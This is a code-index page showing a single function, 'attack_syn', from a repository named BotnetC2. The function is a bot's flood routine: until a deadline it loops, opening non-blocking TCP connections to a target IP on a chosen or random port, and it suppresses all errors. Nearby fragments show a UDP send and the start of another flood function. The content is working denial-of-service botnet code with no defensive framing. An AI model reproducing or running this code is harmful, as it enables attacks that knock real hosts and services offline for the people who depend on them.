MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / attack_syn

Function attack_syn

BOTNETc2_offline_user/bot.py:360–375  ·  view source on GitHub ↗
(ip, port, secs)

Source from the content-addressed store, hash-verified

358 s.sendto(payload, (ip, port))
359
360def attack_syn(ip, port, secs):
361
362 while time.time() < secs:
363
364 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
365 s.setblocking(0)
366 try:
367 dport = random.randint(1, 65535) if port == 0 else port
368 s.connect((ip, dport))
369 s.connect((ip, dport))
370 s.connect((ip, dport))
371 s.connect((ip, dport))
372 s.connect((ip, dport))
373 s.connect((ip, dport))
374 except:
375 pass
376
377def CFB(url,method,secs):
378 while time.time() < secs:

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected